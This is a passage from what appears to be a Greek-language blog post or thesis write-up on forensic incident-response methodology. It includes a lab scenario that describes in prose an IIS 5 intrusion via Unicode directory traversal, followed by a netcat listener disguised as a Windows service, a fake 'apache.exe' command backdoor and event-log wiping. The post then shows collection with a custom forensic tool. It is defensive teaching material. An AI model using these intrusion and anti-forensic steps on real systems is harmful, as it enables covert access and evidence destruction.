χρειαστεί.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Ο καλύτερος τρόπος για την καταγραφή των στοιχείων και τη συλλόγη τους και αποφυγή λαθών κατα τη διάρκεια της εκτέλεσης της &lt;span style="" lang="EN-US"&gt;forensic&lt;/span&gt; ανάλυσης είναι η υλοποίηση της όλης διαδικασίας σαν μεθοδολογία.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Ψάχνοτας στο διαδύκτιο για τέτοιες μεθοδολογίες παρατήρησα ότι συχνά πολλοί διαχειριστές δεν έχουν μια ξεκάθαρη μεθοδολογία που ακολουθουν.[1,2,3]&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Επίσης έχει παρατηρηθεί ότι σε περίπτωση ενός περιστατικού, όπου δηλαδή γίνει μια πετυχημένη επίθεση , ο διαχειριστής απλά ξαναφορτώνει το λειτουργικό απο ασφαλές μέσο. Αυτή η κίνηση όμως είναι καταδικασμένη σε αποτυχχία.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Εφόσον δεν βρέθηκε ο λόγος ή ο τρόπος(&lt;span style="" lang="EN-US"&gt;Root&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;cause&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;Analysis&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;– &lt;span style="" lang="EN-US"&gt;RCA&lt;/span&gt;), πώς δηλαδή εισέβαλε κάποιος στο σύστημα, προκειμένου να παρθούν τα ανάλογα μέτρα ασφάλισης του συστήματος απο παρόμοιες μελλοντικές επιθέσεις, τότε είναι σίγουρο οτι θα ξαναγίνει.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Επίσης σε περίπτωση μη ανάλυσης του συστήματος του οποίου έγινε επιτυχής επίθεση, δεν θα υπάρχουν αποδείξεις του τι έγινε , ποτε, πως ,απο που και απο ποιόν; Αυτό συνήθως οδηγεί σε εκτιμήσεις για την συμπλήρωση των κενών.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Όταν μαζεύουμε στοιχεια σε μια έρευνα δεν πρέπει να υποθέτουμε τίποτα. Οι αποφάσεις οι οποίες θα παρθούν πρέπει να βασίζονται σε γεγονότα με δυνατά στοιχεία και αποδείξεις.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Δυστυχώς όταν μιλάμε για ασφάλεια δεν υπάρχει κάποιο λογισμικό ή κάποιος χρυσός κανόνας που θα κρατήσει κάποιο σύστημα απαραβίαστο.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Ότιδήποτε γίνεται σαν μέρος της ανάλυσης ενος συστήματος πρέπει να καταγράφεται. Οποιαδήποτε εντολή εκτελέστηκε με τις ακριβείς παραμέτρους πρεπει επίσης να καταγράφεται για λόγους επαλήθευσης (αν χρειαστεί).&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Επίσης , έτσι δημιουργείται&lt;span style=""&gt;  &lt;/span&gt;ένα ιστορικό που επιτρέπει σε οποιονδήποτε να ακολουθήσει τα βήματα που έγιναν με λεπτομέρεια.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Για παράδειγμα, αντί να δηλωθεί ότι έγινε έλεγχος στα &lt;span style="" lang="EN-US"&gt;Audit&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;settings&lt;/span&gt;, θα πρέπει να γραφτεί&lt;span style=""&gt;  &lt;/span&gt;πώς έγινε ο έλεγχος ,συμπεριλαμβανομένου εντολών που&lt;span style=""&gt;  &lt;/span&gt;χρησιμοποιήθηκαν με τις συγκεκριμένες παραμέτρους,&lt;span style=""&gt;  &lt;/span&gt;ή ποια γραφικά περιβάλλοντα χρησιμοποιήθηκαν . &lt;/p&gt;  &lt;p class="MsoNormal"&gt;Επιπροσθέτως, καταγράφοντας την κάθε κίνηση με λεπτομέρεια , όχι μόνο επιτρέπει σε κάποιον τρίτο να ακολουθήσει τα βήματα μας / τη μεθοδολογία μας, αλλα ακόμα πιο σημαντικό, επιτρέπει και πιθανές βελτιώσεις στη μεθοδολογία μας.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Τα εργαλεία που βρίσκονται στο ύποπτο μηχάνημα δεν είναι εμπιστοσύνης καθώς μπορει να έχουν αλλαχτεί. Θα πρέπει να χρησιμοποιήσουμε τα τα αντιστοιχα προγράμματα απο ένα μέσο ανάγνωσης μόνο.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Κατα τη διάρκεια ενός &lt;span style="" lang="EN-US"&gt;incident&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;response&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;δεν πρέπει να γράφονται αρχεία στο σκληρό δίσκο του ύποπτου μηχανήματος, αλλα αυτό μπορεί να εξαρτάται και απο τις πολιτικές τις εκάστοτε εταιρίας/οργανισμού. Αν ο σκόπός των πολιτικών είναι να διατηρηθεί η ακαιρεότητα του μηχανήματος ενώ ταυτόχρονα να μειώνεται στο ελάχιστο η &lt;span style="" lang="EN-US"&gt;offline&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;λειτουργία του, δεν πρέπει να καταγράφεται τίποτα στο σκηρό δίσκο και θα πρέπει να αναζητηθούν άλλοι τρόποι για την διατήρηση και μεταφορά των (προς συλλογή)δεδομένων.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Επιπλέον είναι σημνατικο να γνωρίζουμε τι εφαρμογές, τι υπηρεσίες τρέχουν στο σύστημα καθώς και τι αρχικοποίηση (&lt;span style="" lang="EN-US"&gt;configuration&lt;/span&gt;) είχε. Έτσι πιθανόν να εντοπίσουμε ευκολότερα τα έγκυρα προγράμματα και υπηρεσίες.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Όταν ελέγχουμε αρχεία&lt;span style=""&gt;  &lt;/span&gt;σε ενα σύστημα , ανοίγοντάς τα, τους αλλάζουμε τη &lt;span style="" lang="EN-US"&gt;last&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;accessed&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;ημερομηνία καταστρέφοντας έτσι πολύτιμα στοιχεια.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Κατα την αρχίκοποίηση ενός συστήματος ,οι καλύτερες πρακτικές(&lt;span style="" lang="EN-US"&gt;best&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;practices&lt;/span&gt;) προτρέπουν την αφαίρεση αχρείαστων πηγών, υπηρεσίες καθώς και εκτελέσιμων αρχείων απο το σύστημα. Επίσης το συστημα θα πρέπει να είναι πληρως αναβαθμισμενο σχετικά με τις τελευταίες αναβαθμίσεις του λειτουργικού, &lt;span style="" lang="EN-US"&gt;security&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;settings&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;καθώς και πολιτικές ασφαλείας.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Τα βήματα λοιπόν που ακολουθήθηκαν για την ανάλυση του ύποπτου μηχανήματος ήταν τα εξής: (καταγραφη)&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpFirst" style="text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style=""&gt;·&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Τρέχουσα Ημ/νια και ώρα του ύποπτου συστήματος&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style=""&gt;·&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Αναλυτικά ποιοι χρήστες είναι συνδεδεμένοι με το σύστημα&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style=""&gt;·&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Τι εφαρμογές τρέχει ο κάθε χρήστης&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style=""&gt;·&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Αναλυτικα τι πόρους χρσιμοποιει η κάθε εφαρμογή&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style=""&gt;·&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Ποιες βιβλιοθήκες έχει φορτώσει και ποια &lt;span style="" lang="EN-US"&gt;modules&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style=""&gt;·&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Ποιες πόρτες έχει ανοίξει η κάθε εφαρμογή&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style=""&gt;·&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Παράμετρους αρχικοποίησης της εφαρμογής και ώρα εκτέλεσης&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style=""&gt;·&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Δυκτιακές πληροφορίες όπως πίνακας δρομολογητών,στατιστικά σύνδεσης, &lt;span style="" lang="EN-US"&gt;ip&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;του μηχανήματος , &lt;span style="" lang="EN-US"&gt;DNS&lt;/span&gt;,&lt;span style="" lang="EN-US"&gt;DHCP&lt;/span&gt;,&lt;span style="" lang="EN-US"&gt;subnet&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style=""&gt;·&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;Promiscuous mode detection&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpMiddle" style="text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span  lang="EN-US" style="font-family:Symbol;"&gt;&lt;span style=""&gt;·&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;Memory dumps(either per process or full memory dump)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoListParagraphCxSpLast" style="text-indent: -18pt;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="font-family:Symbol;"&gt;&lt;span style=""&gt;·&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="" lang="EN-US"&gt;HD Image(for analysis)&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-US"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b style=""&gt;Το&lt;/b&gt;&lt;b style=""&gt;&lt;span style=""&gt; &lt;/span&gt;σενάριο&lt;/b&gt;&lt;span style=""&gt; &lt;span lang="EN-US"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Απο&lt;span style=""&gt; &lt;/span&gt;το&lt;span style=""&gt; &lt;/span&gt;μηχάνημα&lt;span style=""&gt; &lt;/span&gt;Α&lt;span style=""&gt; &lt;/span&gt;έγινε&lt;span style=""&gt; &lt;span lang="EN-US"&gt;scanning &lt;/span&gt;&lt;/span&gt;για&lt;span style=""&gt; &lt;span lang="EN-US"&gt;web server vulnerabilities.(witko). &lt;/span&gt;&lt;/span&gt;Βρέθηκε το συγκεκριμένο μηχάνημα έτρεχε &lt;span style="" lang="EN-US"&gt;IIS&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;με εγκατεστημένη μια έκδοση του &lt;span style="" lang="EN-US"&gt;frontpage&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;server&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;extensions&lt;/span&gt; , η οποία δεν είχε τα τελευταία&lt;span style=""&gt;  &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;updates&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;, και άφηνε ανοιχτή την πρόσβαση στο κατάλογο ( /&lt;span style="" lang="EN-US"&gt;scripts&lt;/span&gt;/ καθώς και στο κατάλογο /_&lt;span style="" lang="EN-US"&gt;vti&lt;/span&gt;_&lt;span style="" lang="EN-US"&gt;bin&lt;/span&gt;/ )και ποιο συγκεκριμένα στο αρχείο &lt;span style="" lang="EN-US"&gt;fpcount&lt;/span&gt;.&lt;span style="" lang="EN-US"&gt;exe&lt;/span&gt;, αδυναμίες που μπορούν να οδηγήσουν σε εκτέλεση εντολών του συστήματος . &lt;span style=""&gt; &lt;/span&gt;Επίσης, απο τον &lt;span style="" lang="EN-US"&gt;server&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;έλειπαν μερικά κρίσημα &lt;span style="" lang="EN-US"&gt;patches&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;που με την χρήση του παλιού &lt;span style="" lang="EN-US"&gt;directory&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;traversal&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;exploit&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;με την χρήση &lt;span style="" lang="EN-US"&gt;Unicode&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;χαρακτηρων θα επέτρεπε σε κάποιον κακόβουλο χρήστη να σηκώσει το &lt;span style="" lang="EN-US"&gt;tftp&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;και να κατεβάσει μερικά αρχεία στο σύστημα. Στη συνέχεια και εκμεταλλευόμενςο&lt;span style=""&gt;  &lt;/span&gt;τα προαναφερθέν &lt;span style="" lang="EN-US"&gt;exploits&lt;/span&gt;, &lt;span style=""&gt; &lt;/span&gt;εγκατέστησα μια &lt;span style="" lang="EN-US"&gt;custom&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;υπηρεσία (με όνομα &lt;span style="" lang="EN-US"&gt;Windows&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;Sec&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;Center&lt;/span&gt;)η οποία αυτόματα σήκωνε το &lt;span style="" lang="EN-US"&gt;netcat&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;σε &lt;span style="" lang="EN-US"&gt;listening&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;mode&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;sto&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;port&lt;/span&gt; 3303, και μία δική μου &lt;span style="" lang="EN-US"&gt;custom&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;εφαρμογή (με ψεύτικο όνομα &lt;span style="" lang="EN-US"&gt;apache&lt;/span&gt;.&lt;span style="" lang="EN-US"&gt;exe&lt;/span&gt;)&lt;span style="" lang="EN-US"&gt;sto&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;port&lt;/span&gt; 8080&lt;sup&gt;η&lt;/sup&gt; στην οποία αν συνδεόταν κάποιος με ένα &lt;span style="" lang="EN-US"&gt;browser&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;και δεν πέρναγε παράμετρο που να ξεκινάει απο &lt;span style="" lang="EN-US"&gt;cmd&lt;/span&gt; τότε του γύρναγε σε &lt;span style="" lang="EN-US"&gt;html&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;τη &lt;span style="" lang="EN-US"&gt;default&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;σελίδα του &lt;span style="" lang="EN-US"&gt;apache&lt;/span&gt;, απλα δηλαδή ένα μήνυμα που να λέει &lt;span style="" lang="EN-US"&gt;success&lt;/span&gt;. Τέλος εκτελέσα το &lt;span style="" lang="EN-US"&gt;clearlogs&lt;/span&gt;.&lt;span style="" lang="EN-US"&gt;exe&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;για να διαγράψω τα ίχνη&lt;span style=""&gt;  &lt;/span&gt;μου απο τα &lt;span style="" lang="EN-US"&gt;windows&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;event&lt;/span&gt;&lt;span lang="EN-US"&gt; &lt;/span&gt;&lt;span style="" lang="EN-US"&gt;logs&lt;/span&gt;.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;b style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt;Network Setup &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span  lang="EN-US" style="color:black;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span  lang="EN-US" style="color:black;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span  lang="EN-US" style="color:black;"&gt;Target/Suspect Machine (A) IP:192.168.227.186 (Win2K – IIS 5)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span  lang="EN-US" style="color:black;"&gt;Forensic Server (B) IP:192.168.227.185&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span  lang="EN-US" style="color:black;"&gt;Attacker Machine (C) IP:192.168.227.130&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span  lang="EN-US" style="color:black;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span  lang="EN-US" style="color:black;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;b style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt;Forensic Analysis&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="color:black;"&gt;Όπως αναφέραμε και προηγουμένως ,στη διαχείριση περιστατικού, πρέπει να υπάρχει μια σταθερή μεθοδολογία που θα ακολουθείται σε τέτοιες περιπτώσεις.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="color:black;"&gt;Για παράδειγμα ο πιο ασφαλής τρόπος εκτέλεσης των εντολών που μαζέυουν πληροφορίες είναι με την χρήση ενός &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;script&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;span style="color:black;"&gt;που θα τις εκτελέσει όλες μαζί. Αποφεύγοντας έτσι τυχόν τυπογραφικά λάθη (και χάσιμο πολύτιμου χρόνου σε ένα &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;live&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;span style="color:black;"&gt;σύστημα)και κάνοντας τα πάντα σωστά με τη πρώτη. Αυτό πάλι ίσως να βολέυει για κάποιο τοπικό αποθευτικό μέσο(&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;usb&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;stick&lt;/span&gt;&lt;span style="color:black;"&gt;). Αν όμως θέλουμε να τα αποστείλουμε κατευθείαν μέσω δικτύου για ανάλυση σε ένα άλλο μηχάνημα; Το &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;netcat&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;span style="color:black;"&gt;(θα μπορούσε να προσφέρει μια λύση) θα έσωζε όλα ταδεδομένα σε ένα αρχείο δυσκολέυοντας έτσι τη διαδικασία ανάλυσης&lt;span style=""&gt;  &lt;/span&gt;των δεδομένων. Μια καλύτερη επιλογή θα ήταν κάτι σαν το &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;netcat&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;span style="color:black;"&gt;το οποίο θα μπορούσε να σώσει κάθε &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;session&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;span style="color:black;"&gt;σε ξεχωριστό αρχείο με βάση την εντολή που εκτελέστηκε(υλοποιήθηκε σαν μέρος της μεταπτυχιακής).&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style="color:black;"&gt;Εκτελώντας&lt;/span&gt;&lt;span style="color:black;"&gt; &lt;/span&gt;&lt;span style="color:black;"&gt;την&lt;/span&gt;&lt;span style="color:black;"&gt; &lt;/span&gt;&lt;span style="color:black;"&gt;εντολή&lt;/span&gt;&lt;span style="color:black;"&gt; &lt;b style=""&gt;&lt;span lang="EN-US"&gt;4nsiccli &lt;i style=""&gt;CommandListFile remoteHost port&lt;/i&gt;&lt;/span&gt;&lt;/b&gt;&lt;i style=""&gt;&lt;span lang="EN-US"&gt;(Windows)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span  lang="EN-US" style="color:black;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style="color:black;"&gt;Εκτελεί τις εντολές που προαναφέρθηκαν για συλλογή πληροφοριών &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;volatile&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;span style="color:black;"&gt;ή/και &lt;span style=""&gt; &lt;/span&gt;&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;non&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;volatile&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;span style="color:black;"&gt;δεδομένων.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style="color:black;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style="color:black;"&gt;Αφού συλλέξουμε τις πληροφορίες &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;volatile&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;span style="color:black;"&gt;ή/και &lt;span style=""&gt; &lt;/span&gt;&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;non&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;volatile&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;span style="color:black;"&gt;δεδομένων το επόμενο βήμα είναι η ανάλυση.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style="color:black;"&gt;Εκτελώντας την εντολή &lt;b style=""&gt;4&lt;/b&gt;&lt;/span&gt;&lt;b style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt;nsiccli&lt;/span&gt;&lt;/b&gt;&lt;b style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;/b&gt;&lt;b style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt;defvolcmd&lt;/span&gt;&lt;/b&gt;&lt;b style=""&gt;&lt;span style="color:black;"&gt;.&lt;/span&gt;&lt;/b&gt;&lt;b style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt;txt&lt;/span&gt;&lt;/b&gt;&lt;b style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;/b&gt;&lt;b style=""&gt;&lt;span style="color:black;"&gt;192.168.227.185 888 &lt;/span&gt;&lt;/b&gt;&lt;span style="color:black;"&gt;απο το μηχάνημα Α,&lt;span style=""&gt;  &lt;/span&gt;αν ρίξουμε μια ματιά στο μηχάνημα Β στον υποκατάλογο &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;ForensicsAnalysis&lt;/span&gt;&lt;span style="color:black;"&gt;\192.168.227.186 θα δούμε ένα αρχείο για κάθε εντολή που εκτελέστηκε.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style="color:black;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style="color:black;"&gt;Ρίχνοντας μια γρήγορη ματιά στο αρχείο &lt;/span&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt;fport&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span style="color:black;"&gt;.&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" 